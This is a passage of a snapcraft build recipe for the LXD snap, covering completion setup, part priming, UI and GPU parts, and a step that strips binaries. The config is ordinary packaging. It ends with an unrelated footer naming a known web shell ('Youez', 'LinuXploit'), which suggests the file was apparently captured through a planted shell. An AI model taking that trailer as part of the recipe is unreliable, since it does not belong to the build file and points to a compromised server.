      mkdir -p "${CRAFT_PART_INSTALL}/etc/bash_completion.d/"
      # Snapd requires the unaliased command `lxd.lxc` to be supplied as the first command for completion to be detected
      set_cmds='s/^\s*complete.*__start_lxc /&lxd.lxc /'
      # When executed by snapd, the COLUMNS shell value is unset, so use $(tput cols) instead
      set_cols='s/# $COLUMNS.*/COLUMN="$(tput cols)"  \# store the current shell width./'
      # When executed by snapd, the `compopt` support detection doesn't work so fake that it is always `builtin`
      set_compopt='s|$(type -t compopt)|"builtin"|'
      # Modify requestComp variable to use lxc based on context ($SNAP/bin/lxc in Snap environment)
      set_request_comp='s|requestComp="${words\[0\]} __complete ${args\[\*\]}"|requestComp="/snap/lxd/current/commands/lxc __complete ${args[*]}"|'
      # Generate completions script
      "${CRAFT_PART_INSTALL}/bin/lxc" completion bash | sed -e "${set_cmds}" -e "${set_cols}" -e "${set_compopt}" -e "${set_request_comp}" > "${CRAFT_PART_INSTALL}/lxc-completer.sh"
      chmod +x "${CRAFT_PART_INSTALL}/lxc-completer.sh"
    organize:
      usr/bin/: bin/
      usr/lib/: lib/
      usr/share/misc/: share/misc/
      var/lib/usbutils/usb.ids: share/misc/
      usr/sbin/: bin/
      sbin/sgdisk: bin/
    prime:
      - bin/dnsmasq
      - bin/getfattr
      - bin/setfattr
      - bin/iw   # used by liblxc when moving the parent dev in a container
      - bin/pigz
      - bin/rsync
      - bin/setfacl
      - bin/sgdisk
      - bin/xdelta3

      - lib/*/libidn.so.*

      - lxc-completer.sh

      - share/lxd-documentation*
      - share/misc/pci.ids
      - share/misc/usb.ids

      - bin/lxc
      - bin/lxd-agent
      - bin/lxd-user
      - sbin/lxd

  lxd-ui:
    source: https://github.com/canonical/lxd-ui
    source-commit: ebe9e5825e8a91c8a7126f53fe8dee03681a8207 # 0.23.1
    source-depth: 1
    source-type: git
    plugin: nil
    build-packages:
      - nodejs
      - npm
    override-prime: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0
      craftctl default
    override-pull: |-
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0

      craftctl default
    override-build: |
      [ "${CRAFT_ARCH_BUILD_FOR}" = "armhf" ] && exit 0

      craftctl default

      npm install yarn --global
      yarn install --network-timeout 600000
      yarn build

      mkdir -p "${CRAFT_PART_INSTALL}/share"
      cp -R build/ui "${CRAFT_PART_INSTALL}/share/lxd-ui/"
    prime:
      - share/lxd-ui*

  shmounts:
    source: shmounts/
    plugin: make
    prime:
      - bin/setup-shmounts

  gpu-2604:
    after:
      - lxd
      - qemu
    source: https://github.com/canonical/gpu-snap.git
    source-commit: 84e56217ec137c3f8d7a0e773bb7c39c8fc40f28 # main
    source-depth: 1
    source-type: git
    plugin: dump
    override-prime: |
      ${CRAFT_PART_SRC}/bin/gpu-2604-cleanup mesa-2604

  strip:
    after:
      - python-runtime
      - amd-ctk
      - btrfs
      - ceph
      - dqlite
      - logrotate
      - lvm
      - nvidia-container
      - openvswitch
      - ovn
      - spice-server
      - squashfs-tools-ng
      - swtpm
      - virtiofsd
      - xfs
      - xz
      - wrappers
      - xtables
      - zfs-2-2
      - zfs-2-3
      - zfs-2-4
      - zstd
      - lxc
      - lxcfs
      - lxd
      - gpu-2604
      - shmounts
      - nvidia-container-toolkit
      - uefivars
    plugin: nil
    override-prime: |
      set -x

      # XXX: remove unneeded files/directories
      rm -rf "${CRAFT_PRIME}/lib/systemd/"
      rm -rf "${CRAFT_PRIME}/lib/udev/"
      rm -rf "${CRAFT_PRIME}/usr/local/"
      rm -rf "${CRAFT_PRIME}/usr/share/"

      # Strip binaries (excluding shell scripts and LXCFS)
      # The "${CRAFT_PRIME}/bin/lxd" file is ignored as that is the lxd-stophook wrapper script.
      find "${CRAFT_PRIME}"/bin -type f \
        -not -path "${CRAFT_PRIME}/bin/ceph" \
        -not -path "${CRAFT_PRIME}/bin/editor" \
        -not -path "${CRAFT_PRIME}/bin/lxc-checkconfig" \
        -not -path "${CRAFT_PRIME}/bin/lxd" \
        -not -path "${CRAFT_PRIME}/bin/nvidia-container-cli" \
        -not -path "${CRAFT_PRIME}/bin/remote-viewer" \
        -not -path "${CRAFT_PRIME}/bin/snap-query" \
        -not -path "${CRAFT_PRIME}/bin/sshfs" \
        -not -path "${CRAFT_PRIME}/bin/virt-v2v-in-place" \
        -not -path "${CRAFT_PRIME}/bin/xfs_admin" \
        -not -path "${CRAFT_PRIME}/bin/uefivars.py" \
        -not -path "${CRAFT_PRIME}/bin/lxcfs" \
        -not -path "${CRAFT_PRIME}/bin/gpu-2604-custom-wrapper" \
        -exec strip --strip-all {} +

      # This is the actual LXD binary.
      strip --strip-all "${CRAFT_PRIME}/sbin/lxd"

      # Strip binaries not under bin/ due to being dynamically

      # Strip all versions of zfs utils
      for v in "${CRAFT_PRIME}"/zfs-*; do
        [ -d "${v}" ] || continue
        find "${v}/" -type f -exec strip -s {} +
      done

      # Strip libraries (excluding python3 scripts and liblxcfs)
      find "${CRAFT_PRIME}"/lib -type f \
        -not -path "${CRAFT_PRIME}/lib/python3/*" \
        -not -path "${CRAFT_PRIME}/lib/python3.14/*" \
        -not -path "${CRAFT_PRIME}/lib/liblxcfs.so" \
        -exec strip -s {} +

      # Delete empty directories
      find "${CRAFT_PRIME}/" -type d -empty -print -delete

      # Ensure the libdrm layout directory exists for the bind mount to work
      mkdir -p "${CRAFT_PRIME}/gpu-2604/mesa-2604/usr/share/libdrm"

      # Ensure the qemu-external plug target directory always exists
      # even on architectures where QEMU isn't built (like armhf).
      mkdir -p "${CRAFT_PRIME}/external/qemu"

      # XXX: look for broken symlinks indicating missing/invalid prime
      broken_symlinks="$(find "${CRAFT_PRIME}/" -xtype l \
                           -not -path "${CRAFT_PRIME}/lxc/config/common.conf.d/*")"
      if [ -n "${broken_symlinks}" ]; then
          echo "Found broken symlinks:"
          echo "${broken_symlinks}"
          exit 1
      fi

      # Fixup logrotate.conf permissions to not be group writable
      chmod g-w "${CRAFT_PRIME}/etc/logrotate.conf"

      # XXX: do not keep the duplicated and often outdated CA certificates
      # store from Python `certifi`. This file is not even used as the
      # `python3-certifi` package providing it is patched to always use:
      # `/etc/ssl/certs/ca-certificates.crt`
      if [ -e "${CRAFT_PRIME}/lib/python3/dist-packages/certifi/cacert.pem" ]; then
        truncate --no-create --size=0 "${CRAFT_PRIME}/lib/python3/dist-packages/certifi/cacert.pem"
      fi

      exit 0

  wrappers:
    plugin: dump
    source: snap/local/
    organize:
      commands/snap-query: bin/
      wrappers/lxd-stophook: bin/lxd
      wrappers/gpu-2604-custom-wrapper: bin/
      wrappers/editor: bin/
      wrappers/remote-viewer: bin/
      wrappers/sshfs: bin/
      wrappers/virt-v2v-in-place: bin/

lint:
  ignore:
    - library:
      # Ignore libs that are `dlopen`ed
      - lib/libnvidia-container-go.so*
      - zfs-2.2/lib/libnvpair.so*
      - zfs-2.2/lib/libuutil.so*
      - zfs-2.2/lib/libzfs_core.so*
      - zfs-2.3/lib/libnvpair.so*
      - zfs-2.3/lib/libuutil.so*
      - zfs-2.3/lib/libzfs_core.so*
      - zfs-2.4/lib/libnvpair.so*
      - zfs-2.4/lib/libuutil.so*
      - zfs-2.4/lib/libzfs_core.so*

Youez - 2016 - github.com/yon3zu
LinuXploit